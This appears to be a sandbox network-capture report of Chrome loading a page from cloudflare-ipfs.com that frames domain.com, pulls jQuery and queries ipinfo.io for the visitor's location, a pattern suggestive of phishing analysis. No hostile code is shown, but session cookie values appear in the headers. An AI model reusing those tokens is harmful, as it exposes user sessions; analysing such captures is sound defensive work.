2024-03-28 13:14:51 UTC	766	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2333 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.0.0 X-JSD-Version-Type: version ETag: W/"91d-mUGbC+S4VCL/hIcOVNvYpS3G2rE" Accept-Ranges: bytes Date: Thu, 28 Mar 2024 13:14:51 GMT Age: 2015357 X-Served-By: cache-fra-eddf8230025-FRA, cache-lga21968-LGA X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-03-28 13:14:51 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4d 69 6e 69 66 69 65 64 20 62 79 20 6a 73 44 65 6c 69 76 72 20 75 73 69 6e 67 20 55 67 6c 69 66 79 4a 53 20 76 33 2e 30 2e 32 34 2e 0a 20 2a 20 4f 72 69 67 69 6e 61 6c 20 66 69 6c 65 3a 20 2f 6e 70 6d 2f 6a 71 75 65 72 79 2e 73 65 73 73 69 6f 6e 40 31 2e 30 2e 30 2f 6a 71 75 65 72 79 2e 73 65 73 73 69 6f 6e 2e 6a 73 0a 20 2a 20 0a 20 2a 20 44 6f 20 4e 4f 54 20 75 73 65 20 53 52 49 20 77 69 74 68 20 64 79 6e 61 6d 69 63 61 6c 6c 79 20 67 65 6e 65 72 61 74 65 64 20 66 69 6c 65 73 21 20 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 73 64 65 6c 69 76 72 2e 63 6f 6d 2f 75 73 69 6e 67 2d 73 72 69 2d 77 69 74 68 2d 64 79 6e 61 6d 69 63 2d 66 69 6c 65 73 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e Data Ascii: /** * Minified by jsDelivr using UglifyJS v3.0.24. * Original file: /npm/jquery.session@1.0.0/jquery.session.js * * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files */!function
2024-03-28 13:14:51 UTC	955	IN	Data Raw: 69 73 2e 5f 63 6f 6f 6b 69 65 43 61 63 68 65 29 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 68 69 73 2e 5f 67 65 6e 65 72 61 74 65 50 72 65 66 69 78 28 29 2b 65 2b 22 3d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 22 3b 74 68 69 73 2e 5f 63 6f 6f 6b 69 65 43 61 63 68 65 3d 7b 7d 7d 2c 5f 64 65 6c 65 74 65 46 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 68 69 73 2e 5f 67 65 6e 65 72 61 74 65 50 72 65 66 69 78 28 29 2b 65 2b 22 3d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 22 2c 64 65 6c Data Ascii: is._cookieCache)document.cookie=this._generatePrefix()+e+"=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;";this._cookieCache={}},_deleteFallback:function(e){document.cookie=this._generatePrefix()+e+"=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;",del

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49708	151.101.130.137	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	664	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://cloudflare-ipfs.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:51 UTC	559	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 28 Mar 2024 13:14:51 GMT Age: 3804581 X-Served-By: cache-lga21963-LGA, cache-ewr18155-EWR X-Cache: HIT, HIT X-Cache-Hits: 1, 1 X-Timer: S1711631691.316568,VS0,VE1 Vary: Accept-Encoding
2024-03-28 13:14:51 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-03-28 13:14:51 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-03-28 13:14:51 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-03-28 13:14:51 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-03-28 13:14:51 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49721	104.18.42.197	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:52 UTC	680	OUT	GET / HTTP/1.1 Host: www.domain.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:53 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 13:14:53 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close x-dispatcher: 03 x-vhost: publish strict-transport-security: max-age=63072000; includeSubdomains; x-content-type-options: nosniff vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=_x4w4u_qDCsJMxG4dFpbOEHr4PptJZRj_Lm_ZX_le3k-1711631693-1.0.1.1-IkifIChnWCrUeS63kyMkBq6.ALtoi4Ov0aEsXIQD4DzEb4AI8or4sWDFNbY3wn9GypwwYALfvb1TuVLrp0sU_w; path=/; expires=Thu, 28-Mar-24 13:44:53 GMT; domain=.domain.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 86b7e2bd1d6f9c19-IAD
2024-03-28 13:14:53 UTC	685	IN	Data Raw: 34 31 31 63 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 73 2c 20 4f 6e 6c 69 6e 65 20 53 74 6f 72 65 73 20 26 61 6d 70 3b 20 48 6f 73 74 69 6e 67 20 7c 20 44 6f 6d 61 69 6e 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6e 64 69 6e 67 20 74 68 65 20 70 65 72 66 65 63 74 20 77 65 62 73 69 74 65 20 64 6f 6d 61 69 6e 20 69 73 20 61 73 20 65 61 73 79 20 61 73 20 31 2d 32 2d 33 2e 20 42 75 79 20 61 20 64 6f 6d 61 69 6e Data Ascii: 411c<!DOCTYPE HTML><html lang="en"> <head><meta charset="UTF-8"/><title>Website Domain Names, Online Stores & Hosting \| Domain.com</title><meta name="description" content="Finding the perfect website domain is as easy as 1-2-3. Buy a domain
2024-03-28 13:14:53 UTC	1369	IN	Data Raw: 6e 64 20 68 6f 73 74 20 61 20 77 65 62 73 69 74 65 2c 20 61 6e 64 20 65 6e 6a 6f 79 20 6f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 6f 6e 6c 69 6e 65 20 6d 61 72 6b 65 74 69 6e 67 20 74 6f 6f 6c 73 2e 22 2f 3e 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 57 65 62 73 69 74 65 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 73 2c 20 4f 6e 6c 69 6e 65 20 53 74 6f 72 65 73 20 26 61 6d 70 3b 20 48 6f 73 74 69 6e 67 22 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 74 61 72 74 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 Data Ascii: nd host a website, and enjoy our professional online marketing tools."/><meta name="og:type" content="website"/><meta name="application-name" content="Website Domain Names, Online Stores & Hosting"/><meta name="msapplication-starturl" content="htt
2024-03-28 13:14:53 UTC	1369	IN	Data Raw: 20 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 69 63 6f 6e 3f 66 61 6d 69 6c 79 3d 4d 61 74 65 72 69 61 6c 2b 49 63 6f 6e 73 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 69 63 6f 6e 3f 66 61 6d 69 Data Ascii: <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin/> <link rel="preload" as="style" href="https://fonts.googleapis.com/icon?family=Material+Icons&display=swap"/> <link rel="stylesheet" href="https://fonts.googleapis.com/icon?fami
2024-03-28 13:14:53 UTC	1369	IN	Data Raw: 2e 70 6c 79 72 2e 69 6f 2f 33 2e 37 2e 32 2f 70 6c 79 72 2e 63 73 73 22 2f 3e 0a 0a 0a 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 21 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 6e 2c 20 69 29 20 7b 20 66 75 6e 63 74 69 6f 6e 20 6f 28 29 20 7b 20 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 20 7d 20 21 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 69 29 20 7b 20 69 66 20 28 65 29 20 7b 20 76 61 72 20 6f 20 3d 20 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 29 3b 20 6f 2e 69 64 20 3d 20 6e 2c 20 6f 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 69 2c 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 Data Ascii: .plyr.io/3.7.2/plyr.css"/><script type="text/javascript"> !function (e, t, n, i) { function o() { return t.getElementsByTagName("head")[0] } !function (e, n, i) { if (e) { var o = t.createElement("style"); o.id = n, o.innerHTML = i, e.appendChild
2024-03-28 13:14:53 UTC	1369	IN	Data Raw: 31 30 30 30 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 78 70 69 72 65 73 20 3d 20 22 65 78 70 69 72 65 73 3d 22 20 2b 20 64 2e 74 6f 55 54 43 53 74 72 69 6e 67 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 63 6e 61 6d 65 20 2b 20 22 3d 22 20 2b 20 63 76 61 6c 75 65 20 2b 20 22 3b 22 20 2b 20 65 78 70 69 72 65 73 20 2b 20 22 3b 64 6f 6d 61 69 6e 3d 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 3b 70 61 74 68 3d 2f 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 6f 6e 74 69 6e 65 6e 74 20 3d 3d 20 27 45 55 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 4c 6f 67 69 63 Data Ascii: 1000)); var expires = "expires=" + d.toUTCString(); document.cookie = cname + "=" + cvalue + ";" + expires + ";domain=networksolutions.com;path=/"; } if (continent == 'EU') { //Logic
2024-03-28 13:14:53 UTC	1369	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 69 67 69 74 61 6c 44 61 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 65 76 65 6e 74 22 3a 20 22 61 65 6d 50 61 67 65 56 69 65 77 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 70 61 67 65 49 6e 66 6f 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 70 61 67 65 41 70 70 6c 69 63 61 74 69 6f 6e 22 3a 20 22 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 70 61 67 65 54 79 70 65 22 3a 20 22 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 70 61 67 65 43 6c 61 73 73 22 3a 20 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 72 Data Ascii: { window.digitalData = { "event": "aemPageView", "pageInfo": { "pageApplication": "", "pageType": "", "pageClass": "" } }; }</script> <script r
2024-03-28 13:14:53 UTC	1369	IN	Data Raw: 2d 34 30 30 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 70 61 69 64 43 61 6d 70 61 69 67 6e 42 61 6e 6e 65 72 22 20 64 61 74 61 2d 69 64 3d 22 73 65 63 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 70 74 2d 31 30 20 70 62 2d 31 30 20 70 74 4d 6f 62 69 6c 65 2d 31 30 20 70 62 4d 6f 62 69 6c 65 2d 31 30 20 62 67 70 2d 64 2d 74 6c 20 62 67 70 2d 6d 2d 63 63 22 3e 0d 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 74 65 20 74 65 78 74 22 3e 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6d 70 2d 74 65 78 74 20 72 74 65 22 3e 0d 0a 20 20 20 20 20 Data Ascii: -400 { margin-bottom: 0; }</style><section id="paidCampaignBanner" data-id="section" class="pt-10 pb-10 ptMobile-10 pbMobile-10 bgp-d-tl bgp-m-cc"> <div class="container"> <div class="rte text"> <div class="cmp-text rte">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49718	34.117.186.192	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:52 UTC	549	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://cloudflare-ipfs.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:52 UTC	401	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 28 Mar 2024 13:14:52 GMT content-type: application/json; charset=utf-8 Content-Length: 271 access-control-allow-origin: * x-content-type-options: nosniff x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 13:14:52 UTC	271	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 57 61 73 68 69 6e 67 74 6f 6e 2c 20 44 2e 43 2e 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 38 2e 38 39 35 31 2c 2d 37 37 2e 30 33 36 34 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 32 30 30 30 34 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 22 72 65 61 64 6d 65 22 3a 20 22 68 74 74 70 73 3a 2f 2f 69 70 69 6e 66 6f 2e 69 Data Ascii: { "ip": "102.165.48.43", "city": "Washington", "region": "Washington, D.C.", "country": "US", "loc": "38.8951,-77.0364", "org": "AS174 Cogent Communications", "postal": "20004", "timezone": "America/New_York", "readme": "https://ipinfo.i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49719	142.251.111.99	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:52 UTC	910	OUT	GET /s2/favicons?sz=64&domain_url=https://www.domain.com HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIk6HLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=LtGInZ4I4WDrCvCHQBVMHOy4a-sqzpSrMO-Rwr8ezStTz_kfoi2bri7uGdXfNvskAEO_Tj5Jkwl0XSN-qA6MYiGShcDB_vNQOl1bpl3aua7gMrDRvWsHLpAuFBlBnNxTMeen95XElzx3r4myG8p8sgSHdx4NBawYGaI5oFn_dZ8
